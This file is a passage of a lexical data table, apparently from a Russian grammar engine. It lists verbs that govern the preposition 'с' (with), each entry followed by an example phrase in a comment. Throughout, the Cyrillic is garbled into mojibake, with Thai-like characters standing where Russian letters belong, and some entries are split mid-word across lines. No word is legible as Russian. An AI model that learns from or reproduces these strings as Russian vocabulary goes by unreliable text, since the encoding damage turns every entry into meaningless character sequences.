rus_verbs:ัะพะฒะฟะฐััั{}, // ัะพะฒะฟะฐััั ั ะพัะธะณะธะฝะฐะปะพะผ
rus_verbs:ัะพะตะดะธะฝััััั{}, // ัะพะตะดะธะฝััััั ั ะบััะฐัะพัะพะผ
rus_verbs:ะฟะพะฒัััะตัะฐัััั{}, // ะฟะพะฒัััะตัะฐัััั ั ะณะตัะพัะผะธ
rus_verbs:ะฟะพัะถะธะฝะฐัั{}, // ะฟะพัะถะธะฝะฐัั ั ัะพะดะธัะตะปัะผะธ
rus_verbs:ัะฐะทะฒะตััะธัั{}, // ัะฐะทะฒะตััะธัั ั ะฟะตัะฒัะผ ะผัะถะตะผ
rus_verbs:ะฟะตัะตะณะพะฒะพัะธัั{}, // ะฟะตัะตะณะพะฒะพัะธัั ั ะบะพะปะปะตะณะฐะผะธ
rus_verbs:ััะตะฟะธัััั{}, // ััะตะฟะธัััั ั ะฑัะพะดััะตะน ัะพะฑะฐะบะพะน
rus_verbs:ัะพะถัะฐัั{}, // ัะพะถัะฐัั ั ะฟะพััะพั
ะฐะผะธ
rus_verbs:ะฟะพะฑะตัะตะดะพะฒะฐัั{}, // ะฟะพะฑะตัะตะดะพะฒะฐัั ัะพ ัะฟะฐะฝะพะน
rus_verbs:ะฟะพะธะณัะฐัั{}, // ะฟะพะธะณัะฐัั ั ะบะพัััะฐะผะธ
rus_verbs:ััะตะฟะธัั{}, // ััะตะฟะธัั ั ััะณะฐัะพะผ
rus_verbs:ะฟะพะผะธัะธัััั{}, // ะฟะพะผะธัะธัััั ั ะฟะพะดััะถะบะพะน
rus_verbs:ัะฒัะทัะฒะฐัััั{}, // ัะฒัะทัะฒะฐัััั ั ะฑะฐะฝะดะธัะฐะผะธ
rus_verbs:ัะพะฒะตัะฐัััั{}, // ัะพะฒะตัะฐัััั ั ะผะฐััะตัะฐะผะธ
rus_verbs:ะพะฑัััะธะฒะฐัััั{}, // ะพะฑัััะธะฒะฐัััั ั ะฑะตัะฟะพัะฐะดะฝะพะน ะบัะธัะธะบะพะน
rus_verbs:ะฟะตัะตะฟะปะตััะธัั{}, // ะฟะตัะตะฟะปะตััะธัั ั ะบัััะฐะผะธ
rus_verbs:ะผััะธัั{}, // ะผััะธัั ั ะพะดะฝะพะณััะฟะฝะธัะฐะผะธ
rus_verbs:ะฟัะธะณะปัะดัะฒะฐัััั{}, // ะฟัะธะณะปัะดัะฒะฐัััั ั ะธะฝัะตัะตัะพะผ
rus_verbs:ัะฑะปะธะทะธัััั{}, // ัะฑะปะธะทะธัััั ั ะฒัะฐะณะฐะผะธ
rus_verbs:ะฟะตัะตัะตะฟััะฒะฐัััั{}, // ะฟะตัะตัะตะฟััะฒะฐัััั ั ัะธะผะฟะฐัะธัะฝะพะน ัะพัะตะดะบะพะน
rus_verbs:ัะฐััะตัะตัั{}, // ัะฐััะตัะตัั ั ัะพะปัั
rus_verbs:ัะผะตัะธะฒะฐัััั{}, // ัะผะตัะธะฒะฐัััั ั ะธะทะฒะตัััั
rus_verbs:ัะพะฟัะธะบะพัะฝััััั{}, // ัะพะฟัะธะบะพัะฝััััั ั ัะฐะนะฝะพะน
rus_verbs:ะปะฐะดะธัั{}, // ะปะฐะดะธัั ั ัะพะดััะฒะตะฝะฝะธะบะฐะผะธ
rus_verbs:ัะพัััะดะฝะธัะฐัั{}, // ัะพัััะดะฝะธัะฐัั ั ะพัะณะฐะฝะฐะผะธ ะดะพะทะฝะฐะฝะธั
rus_verbs:ััะตั
ะฐัััั{}, // ััะตั
ะฐัััั ั ัะพะดััะฒะตะฝะฝะธะบะฐะผะธ
rus_verbs:ะฟะตัะตะบะธะฝััััั{}, // ะฟะตัะตะบะธะฝััััั ั ะบะพะปะปะตะณะฐะผะธ ะฟะฐัะพะน ัะปะพะฒ
rus_verbs:ัะพะฒะตัะพะฒะฐัััั{}, // ัะพะฒะตัะพะฒะฐัััั ั ะพััะธะผะพะผ
rus_verbs:ััะฐะฒะฝะธัััั{}, // ััะฐะฒะฝะธัััั ั ะปัััะธะผะธ
rus_verbs:ะทะฝะฐะบะพะผะธัััั{}, // ะทะฝะฐะบะพะผะธัััั ั ะฐะฑะธัััะธะตะฝัะฐะผะธ
rus_verbs:ะฝััััั{}, // ะฝััััั ั ะฐะบะฒะฐะปะฐะฝะณะพะผ
rus_verbs:ะทะฐะฑะฐะฒะปััััั{}, // ะทะฐะฑะฐะฒะปััััั ั ะบัะบะปะพะน
rus_verbs:ะฟะตัะตะบะปะธะบะฐัััั{}, // ะฟะตัะตะบะปะธะบะฐัััั ั ะดััะณะพะน ััะฐััะตะน
rus_verbs:ััะตะฝะธัะพะฒะฐัััั{}, // ััะตะฝะธัะพะฒะฐัััั ั ะฟะฐััะฝะตััะตะน
rus_verbs:ะฟะพัะฟะพัะธัั{}, // ะฟะพัะฟะพัะธัั ั ะบะฐะทะฝะพัะตะตะผ
ะธะฝัะธะฝะธัะธะฒ:ัะปะฐะดะธัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะปะฐะดะธัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะปะฐะดะธัั ั ะฑััะบะพะผ
ะดะตะตะฟัะธัะฐััะธะต:ัะปะฐะดะธะฒ{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะปะฐะดะธะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฟัะธะผะธัะธัััั{}, // ะฟัะธะผะธัะธัััั ั ัััะฐัะพะน
rus_verbs:ัะฐัะบะปะฐะฝััััั{}, // ัะฐัะบะปะฐะฝััััั ั ััะตะนะปะธะฝะฐะผะธ
rus_verbs:ัะปะตัั{}, // ัะปะตัั ั ะฐะฝะณะธะฝะพะน
rus_verbs:ัะพะฟัะธะบะฐัะฐัััั{}, // ัะพะฟัะธะบะฐัะฐัััั ัะพ ััะตะฝะพะน
rus_verbs:ัะผะตัะฐัั{}, // ัะผะตัะฐัั ั ะณััะทัั
rus_verbs:ะฟะตัะตัะตะบะฐัััั{}, // ะฟะตัะตัะตะบะฐัััั ั ััะฐััะพะน
rus_verbs:ะฟััะฐัั{}, // ะฟััะฐัั ั ะณะพััะดะฐัััะฒะตะฝะฝะพะน ัะตััััั
rus_verbs:ะฟะพะฑะพะปัะฐัั{}, // ะฟะพะฑะพะปัะฐัั ั ััะตะฝะธัะฐะผะธ
rus_verbs:ะทะดะพัะพะฒะฐัััั{}, // ะทะดะพัะพะฒะฐัััั ั ะฟัะพัะตััะพัะพะผ
rus_verbs:ะฟัะพััะธัะฐัััั{}, // ะฟัะพััะธัะฐัััั ั ะฟะพะบัะฟะบะพะน
rus_verbs:ััะพัะพะถะธัั{}, // ััะพัะพะถะธัั ั ัะพะฑะฐะบะพะน
rus_verbs:ะพะฑััะบะธะฒะฐัั{}, // ะพะฑััะบะธะฒะฐัั ั ัะพะฑะฐะบะฐะผะธ
rus_verbs:ะฟะตัะตะฟะปะตัะฐัััั{}, // ะฟะตัะตะฟะปะตัะฐัััั ั ะดััะณะพะน ะฒะตัะบะพะน
rus_verbs:ะพะฑะฝะธะผะฐัััั{}, // ะพะฑะฝะธะผะฐัััั ั ะัััะตะน
rus_verbs:ะพะฑัะตะดะธะฝััััั{}, // ะพะฑัะตะดะธะฝััััั ั ะบะพะฝะบััะตะฝัะฐะผะธ
rus_verbs:ะฟะพะณะพัััะธัััั{}, // ะฟะพะณะพัััะธัััั ั ะฟะพะบัะฟะบะพะน
rus_verbs:ะผััััั{}, // ะผััััั ั ะผัะปะพะผ
rus_verbs:ัะฒะตัะธัััั{}, // ัะฒะตัะธัััั ั ััะฐะปะพะฝะพะผ
rus_verbs:ัะฐะทะดะตะปะฐัััั{}, // ัะฐะทะดะตะปะฐัััั ั ะบะตะผ-ัะพ
rus_verbs:ัะตัะตะดะพะฒะฐัััั{}, // ัะตัะตะดะพะฒะฐัััั ั ะฟะฐััะฝะตัะพะผ
rus_verbs:ะฝะฐะปะตัะตัั{}, // ะฝะฐะปะตัะตัั ั ัะพัะฐัะฝะธะบะฐะผะธ
rus_verbs:ะฟะพัะฟะฐัั{}, // ะฟะพัะฟะฐัั ั ะฒะบะปััะตะฝะฝัะผ ัะฒะตัะพะผ
rus_verbs:ัะฟัะฐะฒะธัััั{}, // ัะฟัะฐะฒะธัััั ั ัะพะฑะฐะบะพะน
rus_verbs:ัะพะณัะตัะธัั{}, // ัะพะณัะตัะธัั ั ะทะฐะผัะถะฝะตะน
rus_verbs:ะพะฟัะตะดะตะปะธัััั{}, // ะพะฟัะตะดะตะปะธัััั ั ะฟะพะฑะตะดะธัะตะปะตะผ
rus_verbs:ะฟะตัะตะผะตัะฐัััั{}, // ะฟะตัะตะผะตัะฐัััั ั ะณัะฐะฝัะปะฐะผะธ
rus_verbs:ะทะฐัััะดะฝััััั{}, // ะทะฐัััะดะฝััััั ั ะพัะฒะตัะพะผ
rus_verbs:ะพะฑะพะถะดะฐัั{}, // ะพะฑะพะถะดะฐัั ัะพ ััะฐััะพะผ
rus_verbs:ัััะบะฐัั{}, // ัััะบะฐัั ั ะฟัะตะทัะตะฝะธะตะผ
rus_verbs:ะทะฐัะธะดะตัััั{}, // ะทะฐัะธะดะตัััั ั ะฟัะธััะตะปะตะผ
rus_verbs:ะบัะตะฟะฝััั{}, // ะบัะตะฟะฝััั ั ะณะพะดะฐะผะธ
rus_verbs:ะฟะธัะพะฒะฐัั{}, // ะฟะธัะพะฒะฐัั ั ะดััะถะธะฝะพะน
rus_verbs:ัะตะฑะตัะฐัั{}, // ัะตะฑะตัะฐัั ั ัะตัััะธัะบะฐะผะธ
rus_verbs:ะผะฐััััั{}, // ะผะฐััััั ั ะบะฐัะปะตะผ
rus_verbs:ัะฑะปะธะถะฐัั{}, // ัะฑะปะธะถะฐัั ั ัะตะฝััะฐะปัะฝัะผ ัะฒะตัะธะปะพะผ
rus_verbs:ะผะตัะบะฝััั{}, // ะผะตัะบะฝััั ั ะฒะพะทัะฐััะพะผ
rus_verbs:ะทะฐัะฟะพัะธัั{}, // ะทะฐัะฟะพัะธัั ั ะพะฟะฟะพะฝะตะฝัะฐะผะธ
rus_verbs:ะณัะฐะฝะธัะธัั{}, // ะณัะฐะฝะธัะธัั ั ะะธะฒะฐะฝะพะผ
rus_verbs:ะฟะตัะตััะฐัะฐัััั{}, // ะฟะตัะตััะฐัะฐัััั ัะพ ััะธะผัะปััะพัะฐะผะธ
rus_verbs:ะพะฑัะตะดะธะฝะธัั{}, // ะพะฑัะตะดะธะฝะธัั ั ัะธะปะธะฐะปะพะผ
rus_verbs:ัะฒัะบะฝััััั{}, // ัะฒัะบะฝััััั ั ัััะฐัะพะน
rus_verbs:ะฟะพัะพะฒะตัะพะฒะฐัััั{}, // ะฟะพัะพะฒะตัะพะฒะฐัััั ั ะฐะดะฒะพะบะฐัะฐะผะธ
rus_verbs:ะฝะฐะฟััะฐัั{}, // ะฝะฐะฟััะฐัั ั ะฒะตะดะพะผะพัััะผะธ
rus_verbs:ะฝะฐะณััะฝััั{}, // ะฝะฐะณััะฝััั ั ะพะฑััะบะพะผ
rus_verbs:ะฟะพัะพะฒะตัะฐัััั{}, // ะฟะพัะพะฒะตัะฐัััั ั ััะดัะตะน
rus_verbs:ะฟัะพะฒะตัะฝััั{}, // ะฟัะพะฒะตัะฝััั ั ะดััะณะฐะฝะพะผ
rus_verbs:ัะฐะทะดะตะปััััั{}, // ัะฐะทะดะตะปััััั ั ัะพััะฐะฟะตะทะฝะธะบะฐะผะธ
rus_verbs:ะฟะตัะตัะตัััั{}, // ะฟะตัะตัะตัััั ั ะฒัะพัะพะน ะบะพะปะพะฝะฝะพะน
rus_verbs:ะพะฟะตัะตะถะฐัั{}, // ะพะฟะตัะตะถะฐัั ั ะฑะพะปััะธะผ ะทะฐะฟะฐัะพะผ
rus_verbs:ะฟะตัะตะฟััะฐัััั{}, // ะฟะตัะตะฟััะฐัััั ั ะดััะณะพะน ะปะธะฝะธะตะน
rus_verbs:ัะพะพัะฝะพัะธัััั{}, // ัะพะพัะฝะพัะธัััั ั ะทะฐััะฐัะฐะผะธ
rus_verbs:ัะผะตัะธะฒะฐัั{}, // ัะผะตัะธะฒะฐัั ั ะทะพะปะพะน
rus_verbs:ัะฒะธะดะตัััั{}, // ัะฒะธะดะตัััั ั ัะพะฑะพะน
rus_verbs:ะฟะตัะตัะฟะฐัั{}, // ะฟะตัะตัะฟะฐัั ั ะณัะฐัะธะฝะตะน
rus_verbs:ะฟะพะปะฐะดะธัั{}, // ะฟะพะปะฐะดะธัั ั ัะพัะตะดัะผะธ
rus_verbs:ะฟัะพัะฐัะธัั{}, // ะฟัะพัะฐัะธัั ั ัะพะฑะพะน
rus_verbs:ัะฐะทะผะธะฝััััั{}, // ัะฐะทะผะธะฝััััั ั ะฒัััะตัะฝัะผ ะฟะพัะพะบะพะผ
rus_verbs:ะฟะตัะตะผะตะถะฐัััั{}, // ะฟะตัะตะผะตะถะฐัััั ั ััะฟะตั
ะฐะผะธ
rus_verbs:ัะฐัััะธัะฐัััั{}, // ัะฐัััะธัะฐัััั ั ะบัะตะดะธัะพัะฐะผะธ
rus_verbs:ััะฐััะธัั{}, // ััะฐััะธัั ั ัะตะปะพะผ
rus_verbs:ะทะฝะฐะบะพะผะธัั{}, // ะทะฝะฐะบะพะผะธัั ั ัะพะดะธัะตะปัะผะธ
rus_verbs:ะฟะพััะณะฐัััั{}, // ะฟะพััะณะฐัััั ั ัะพะดะธัะตะปัะผะธ
rus_verbs:ัะพะฒะปะฐะดะฐัั{}, // ัะพะฒะปะฐะดะฐัั ั ััะฒััะฒะฐะผะธ
rus_verbs:ะพะฑัััะธัั{}, // ะพะฑัััะธัั ั ะฑะพะณะฐัะพะน ะฝะตะฒะตััะพะน
rus_verbs:ัะฑะปะธะถะฐัััั{}, // ัะฑะปะธะถะฐัััั ั ะฒัะฐะถะตัะบะธะผ ััะผะธะฝัะตะผ
rus_verbs:ะทะฐะผััะธัั{}, // ะทะฐะผััะธัั ั ะัััะตะน
rus_verbs:ะฟะพะฒะพะทะธัััั{}, // ะฟะพะฒะพะทะธัััั ั ะฝะฐัััะพะนะบะพะน
rus_verbs:ัะพัะณะพะฒะฐัััั{}, // ัะพัะณะพะฒะฐัััั ั ะฟัะพะดะฐะฒัะฐะผะธ
rus_verbs:ัะตะดะธะฝะธัััั{}, // ัะตะดะธะฝะธัััั ั ะดะตะฒัะพะฝะบะพะน
rus_verbs:ะฟะตัะตะฑะพััะธัั{}, // ะฟะตัะตะฑะพััะธัั ั ะดะพะฑะฐะฒะบะพะน
rus_verbs:ะพะทะฝะฐะบะพะผะธัั{}, // ะพะทะฝะฐะบะพะผะธัั ั ะฟะพะถะตะปะฐะฝะธัะผะธ
rus_verbs:ะฟัะพัะตััะฒะฐัั{}, // ะฟัะพัะตััะฒะฐัั ั ัะพะฑะฐะบะฐะผะธ
rus_verbs:ะฟะตัะตะฟะธััะฒะฐัััั{}, // ะฟะตัะตะฟะธััะฒะฐัััั ั ะบะพััะตัะฟะพะฝะดะตะฝัะฐะผะธ
rus_verbs:ะฟะพะฒะทะดะพัะธัั{}, // ะฟะพะฒะทะดะพัะธัั ั ัะตัะถะฐะฝัะพะผ
rus_verbs:ัะฐะทะปััะธัั{}, // ัะฐะทะปััะธัั ั ัะตะผัะตะน
rus_verbs:ัะพัะตะดััะฒะพะฒะฐัั{}, // ัะพัะตะดััะฒะพะฒะฐัั ั ััะณะฐะฝะฐะผะธ
rus_verbs:ะทะฐัััะบะฐัั{}, // ะทะฐัััะบะฐัั ั ะฟัะพััะธัััะบะฐะผะธ
rus_verbs:ะฝะฐะฟัััะธัััั{}, // ะฝะฐะฟัััะธัััั ั ะบัะปะฐะบะฐะผะธ
rus_verbs:ัะดััะถะธัััั{}, // ัะดััะถะธัััั ั ัะตะฑััะฐะผะธ
rus_verbs:ัะพะฟะตัะฝะธัะฐัั{}, // ัะพะฟะตัะฝะธัะฐัั ั ะฟะฐัะฐะปะปะตะปัะฝัะผ ะบะปะฐััะพะผ
rus_verbs:ะฟัะพัะตัะฐัั{}, // ะฟัะพัะตัะฐัั ั ัะพะฑะฐะบะฐะผะธ
rus_verbs:ะบะพะบะตัะฝะธัะฐัั{}, // ะบะพะบะตัะฝะธัะฐัั ั ะณะธะผะฝะฐะทะธััะบะฐะผะธ
rus_verbs:ะผะธัะธัััั{}, // ะผะธัะธัััั ั ัะฑััะบะฐะผะธ
rus_verbs:ะพะฟะปะพัะฐัั{}, // ะพะฟะปะพัะฐัั ั ะฑะธะปะตัะฐะผะธ
rus_verbs:ะพัะพะถะดะตััะฒะปััั{}, // ะพัะพะถะดะตััะฒะปััั ั ะปะธัะตัะฐัััะฝัะผ ะณะตัะพะตะผ
rus_verbs:ั
ะธััะธัั{}, // ั
ะธััะธัั ั ะทะฐัะฟะปะฐัะพะน
rus_verbs:ะฟัะพะฒะพะทะธัััั{}, // ะฟัะพะฒะพะทะธัััั ั ะทะฐะดะฐัะบะพะน
rus_verbs:ะบะพัะพัะฐัั{}, // ะบะพัะพัะฐัั ั ะดััะทััะผะธ
rus_verbs:ัะพัะตะฒะฝะพะฒะฐัััั{}, // ัะพัะตะฒะฝะพะฒะฐัััั ั ะผะฐัะธะฝะพะน
rus_verbs:ัะถะธะฒะฐัััั{}, // ัะถะธะฒะฐัััั ั ะผะตััะฝัะผะธ ะถะธัะตะปัะผะธ
rus_verbs:ะพัะพะถะดะตััะฒะปััััั{}, // ะพัะพะถะดะตััะฒะปััััั ั ะปะธัะตัะฐัััะฝัะผ ะณะตัะพะตะผ
rus_verbs:ัะพะฟะพััะฐะฒะธัั{}, // ัะพะฟะพััะฐะฒะธัั ั ััะฐะปะพะฝะพะผ
rus_verbs:ะฟััะฝััะฒะพะฒะฐัั{}, // ะฟััะฝััะฒะพะฒะฐัั ั ะดััะทััะผะธ
rus_verbs:ะทะฐะปะตัะฐัั{}, // ะทะฐะปะตัะฐัั ั ะฟะฐะปะตะฝะพะน ะฒะพะดะบะพะน
rus_verbs:ะณะฐัััะพะปะธัะพะฒะฐัั{}, // ะณะฐัััะพะปะธัะพะฒะฐัั ั ะฝะพะฒะพะน ัะธัะบะพะฒะพะน ะฟัะพะณัะฐะผะผะพะน
rus_verbs:ะทะฐะฟะฐะทะดัะฒะฐัั{}, // ะทะฐะฟะฐะทะดัะฒะฐัั ั ะบะพัะผะปะตะฝะธะตะผ
rus_verbs:ัะฐัะบะฐัััั{}, // ัะฐัะบะฐัััั ั ััะผะบะฐะผะธ
rus_verbs:ะบะพะฝััะฐััะธัะพะฒะฐัั{}, // ะบะพะฝััะฐััะธัะพะฒะฐัั ั ัััะปัะผะธ
rus_verbs:ััะธะฑะธัััั{}, // ััะธะฑะธัััั ั ัะพัะฒะฐัะดะพะผ
rus_verbs:ัะพัััะทะฐัััั{}, // ัะพัััะทะฐัััั ั ะปัััะตะน ะบะพะผะฐะฝะดะพะน
rus_verbs:ะทะฐัััะดะฝะธัััั{}, // ะทะฐัััะดะฝะธัััั ั ะพะฑัััะฝะตะฝะธะตะผ
rus_verbs:ะพะฑัััะฝะธัััั{}, // ะพะฑัััะฝะธัััั ั ะฟะพัััะฐะดะฐะฒัะธะผะธ
rus_verbs:ัะฐะทะฒะพะดะธัััั{}, // ัะฐะทะฒะพะดะธัััั ัะพ ัะฒะฐัะปะธะฒะพะน ะถะตะฝะพะน
rus_verbs:ะฟัะตะฟะธัะฐัััั{}, // ะฟัะตะฟะธัะฐัััั ั ะฐะดะฒะพะบะฐัะฐะผะธ
rus_verbs:ัะพัััะตััะฒะพะฒะฐัั{}, // ัะพัััะตััะฒะพะฒะฐัั ั ะบััะฟะฝัะผะธ ั
ะธัะฝะธะบะฐะผะธ
rus_verbs:ัะฒะตััะธัั{}, // ัะฒะตััะธัั ั ะฝัะปะตะฒัะผ ััะตัะพะผ
rus_verbs:ะพะฑะณะพะฒะพัะธัั{}, // ะพะฑะณะพะฒะพัะธัั ั ะดะธัะตะบัะพัะพะผ
rus_verbs:ะพะฑะฒะตะฝัะฐัััั{}, // ะพะฑะฒะตะฝัะฐัััั ั ะฒะตะดัะผะพะน
rus_verbs:ัะบัะฟะตัะธะผะตะฝัะธัะพะฒะฐัั{}, // ัะบัะฟะตัะธะผะตะฝัะธัะพะฒะฐัั ั ะณะตะฝะฐะผะธ
rus_verbs:ัะฒะตัััั{}, // ัะฒะตัััั ั ัะฐะฑะปะธัะตะน
rus_verbs:ัะฒะตัััััั{}, // ัะฒะตัะธัััั ั ัะฐะฑะปะธัะตะน
rus_verbs:ัะฑะปะธะทะธัั{}, // ัะฑะปะธะทะธัั ั ัะพัะบะพะน
rus_verbs:ะณะฐัะผะพะฝะธัะพะฒะฐัั{}, // ะณะฐัะผะพะฝะธัะพะฒะฐัั ั ะพะฑะพัะผะธ
rus_verbs:ะฟะตัะตะผะตัะธะฒะฐัั{}, // ะฟะตัะตะผะตัะธะฒะฐัั ั ะผะพะปะพะบะพะผ
rus_verbs:ััะตะฟะฐัััั{}, // ััะตะฟะฐัััั ั ัะพัะปัะถะธะฒัะฐะผะธ
rus_verbs:ะฟะตัะตะผะธะณะธะฒะฐัััั{}, // ะฟะตัะตะผะธะณะธะฒะฐัััั ั ัะพัะตะดะบะพะน
rus_verbs:ัะฐะทะพัะบัะพะฒะตะฝะฝะธัะฐัััั{}, // ัะฐะทะพัะบัะพะฒะตะฝะฝะธัะฐัััั ั ะฝะตะทะฝะฐะบะพะผัะตะผ
rus_verbs:ัะฐัะฟะธัั{}, // ัะฐัะฟะธัั ั ัะพะฑัััะปัะฝะธะบะฐะผะธ
rus_verbs:ัะบัะตััะธัั{}, // ัะบัะตััะธัั ั ะดะธะบะพะน ะปะพัะฐะดัั
rus_verbs:ะฟะตัะตะดัะฐัััั{}, // ะฟะตัะตะดัะฐัััั ั ะดะฒะพัะพะฒัะผะธ ัะพะฑะฐะบะฐะผะธ
rus_verbs:ัะผััั{}, // ัะผััั ั ะผัะปะพะผ
rus_verbs:ะณััะทัััั{}, // ะณััะทัััั ั ัะพัะตะดัะผะธ
rus_verbs:ะฟะตัะตััะณะธะฒะฐัััั{}, // ะฟะตัะตััะณะธะฒะฐัััั ั ัะพัะตะดัะผะธ
rus_verbs:ะดะพะธะณัะฐัััั{}, // ะดะพะธะณัะฐัััั ัะพ ัะฟะธัะบะฐะผะธ
rus_verbs:ะทะฐะปะฐะดะธัััั{}, // ะทะฐะปะฐะดะธัััั ั ะฟะพะดััะณะพะน
rus_verbs:ัะบัะตัะธะฒะฐัััั{}, // ัะบัะตัะธะฒะฐัััั ั ะดะธะบะธะผะธ ะฒะธะดะฐะผะธ
rus_verbs:ะฟะพะฒะธะดะฐัััั{}, // ะฟะพะฒะธะดะฐัััั ั ะดะตะดััะบะพะน
rus_verbs:ะฟะพะฒะพะตะฒะฐัั{}, // ะฟะพะฒะพะตะฒะฐัั ั ะพัะบะฐะผะธ
rus_verbs:ััะฐะทะธัััั{}, // ััะฐะทะธัััั ั ะปัััะธะผ ัััะฐัะตะผ
rus_verbs:ะบะธะฟััะธัั{}, // ะบะธะฟััะธัั ั ะพัะฑะตะปะธะฒะฐัะตะปะตะผ
rus_verbs:ััะตัะดััะฒะพะฒะฐัั{}, // ััะตัะดััะฒะพะฒะฐัั ั ะฝะฐะบะฐะทะฐะฝะธะตะผ
rus_verbs:ัั
ะปะตััะฝััััั{}, // ัั
ะปะตััะฝััััั ั ะปัััะธะผ ะฑะพะบัะตัะพะผ
rus_verbs:ะฟะพัะตะฟัะฐัััั{}, // ะฟะพัะตะฟัะฐัััั ั ััะดััะผะธ
rus_verbs:ััะฐะฒะฝััััั{}, // ััะฐะฒะฝััััั ั ะปัััะธะผะธ ัะบะทะตะผะฟะปััะฐะผะธ
rus_verbs:ัะตัะตะผะพะฝะธัััั{}, // ัะตัะตะผะพะฝะธัััั ั ะฟััะฝะธัะฐะผะธ
rus_verbs:ะบะพะฝััะปััะธัะพะฒะฐัััั{}, // ะบะพะฝััะปััะธัะพะฒะฐัััั ัะพ ัะฟะตัะธะฐะปะธััะฐะผะธ
rus_verbs:ะฟะตัะตััะตัะดััะฒะพะฒะฐัั{}, // ะฟะตัะตััะตัะดััะฒะพะฒะฐัั ั ะฝะฐะบะฐะทะฐะฝะธะตะผ
rus_verbs:ะฟัะพะฝะพัะธัััั{}, // ะฟัะพะฝะพัะธัััั ั ัะพะฑะพะน
rus_verbs:ะฟะตัะตะผะตัะฐัั{}, // ะฟะตัะตะผะตัะฐัั ั ะณะธะฟัะพะผ
rus_verbs:ัะตะผะฝะธัั{}, // ัะตะผะฝะธัั ั ะดะพะปะณะฐะผะธ
rus_verbs:ััะฐะปะบะธะฒะฐัั{}, // ััะฐะปะบะธะฒะฐัั ั ัะตัะฝะพะน ะดััะพะน
rus_verbs:ัะฒะพะปัะฝััั{}, // ัะฒะพะปัะฝััั ั ะฒะพะปััะธะผ ะฑะธะปะตัะพะผ
rus_verbs:ะทะฐะธะณััะฒะฐัั{}, // ะทะฐะธะณััะฒะฐัั ั ัะพะฒะตััะตะฝะฝะพ ะดะธะบะธะผ ะถะธะฒะพัะฝัะผ
rus_verbs:ัะพะฟะพััะฐะฒะปััั{}, // ัะพะฟะพััะฐะฒะปััั ั ััะฐะปะพะฝะฝัะผะธ ะพะฑัะฐะทัะฐะผะธ
rus_verbs:ัะฐััะพัะณะฝััั{}, // ัะฐััะพัะณะฝััั ั ะฝะตัะฐััะพัะพะฟะฝัะผะธ ะฟะพััะฐะฒัะธะบะฐะผะธ ะดะพะปะณะพััะพัะฝัะน ะบะพะฝััะฐะบั
rus_verbs:ัะพะทะฒะพะฝะธัััั{}, // ัะพะทะฒะพะฝะธัััั ั ะผะฐะผะพะน
rus_verbs:ัะฟะตัััั{}, // ัะฟะตัััั ั ะพัััะฒะปะตะฝะฝัะผะธ ั
ัะปะธะณะฐะฝะฐะผะธ
rus_verbs:ะธะฝััะธะณะพะฒะฐัั{}, // ะธะฝััะธะณะพะฒะฐัั ั ะฟัะธะดะฒะพัะฝัะผะธ
rus_verbs:ะฟัะธะพะฑัะตััะธ{}, // ะฟัะธะพะฑัะตััะธ ัะพ ัะบะธะดะบะพะน
rus_verbs:ะทะฐะดะตัะถะฐัััั{}, // ะทะฐะดะตัะถะฐัััั ัะพ ัะดะฐัะตะน ัะฐะฑะพัั
rus_verbs:ะฟะปะฐะฒะฐัั{}, // ะฟะปะฐะฒะฐัั ัะพ ัะฟะฐัะฐัะตะปัะฝัะผ ะบััะณะพะผ
rus_verbs:ัะบัะฐัััั{}, // ะะต ัะบัะฐะนัั ั ะฒัะฐะณะฐะผะธ
ะธะฝัะธะฝะธัะธะฒ:ะฐััะพัะธะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ัะธัะฐัะตะปะธ ะฐััะพัะธะธัััั ั ัะพะฑะพะน ะณะตัะพั ะบะฝะธะณะธ
ะธะฝัะธะฝะธัะธะฒ:ะฐััะพัะธะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐััะพัะธะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ัะธัะฐัะตะปะธ ะฐััะพัะธะธัััั ั ัะพะฑะพะน ะณะตัะพั ะบะฝะธะณะธ
ะณะปะฐะณะพะป:ะฐััะพัะธะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
//+ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐััะพัะธะธัะพะฒะฐะฒัะธะน{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐััะพัะธะธัะพะฒะฐะฒัะธะน{ะฒะธะด:ัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐััะพัะธะธััััะธะน{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐััะพัะธะธััั{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐััะพัะธะธัะพะฒะฐะฒ{},
rus_verbs:ะฐััะพัะธะธัะพะฒะฐัััั{}, // ะณะตัะพะน ะบะฝะธะณะธ ะฐััะพัะธะธััะตััั ั ัะตะฐะปัะฝัะผ ะฟะตััะพะฝะฐะถะตะผ
rus_verbs:ะฐััะตััะพะฒัะฒะฐัั{}, // ะะฝะธ ะฐััะตััะพะฒัะฒะฐัั ัะพัััะดะฝะธะบะพะฒ ั ะฟะพะผะพััั ะฝะฐะฑะพััะฐ ัะตััะพะฒ
rus_verbs:ะฐััะตััะพะฒัะฒะฐัััั{}, // ะกะพัััะดะฝะธะบะธ ะฐััะตััะพะฒัะฒะฐัััั ั ะฟะพะผะพััั ะฝะฐะฑะพัะฐ ัะตััะพะฒ
//+ะธะฝัะธะฝะธัะธะฒ:ะฐััะธะปะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ััะธ ะฟัะตะดะฟัะธััะธั ะฑัะปะธ ะฐััะธะปะธัะพะฒะฐะฝั ั ะพะปะธะณะฐัั
ะพะผ
//+ะณะปะฐะณะพะป:ะฐััะธะปะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐััะธะปะธัะพะฒะฐะฝะฝัะน{},
rus_verbs:ะฑะฐะปะพะฒะฐัััั{}, // ะผะฐะปััะธะบ ะฑะฐะปะพะฒะฐะปัั ั ะผะพะปะพัะบะพะผ
rus_verbs:ะฑะฐะปััะฝะธัะฐัั{}, // ะถะตะฝัะธะฝะฐ ะฑะฐะปััะฝะธัะฐะปะฐ ั ัะพะฒะฐัะบะฐะผะธ
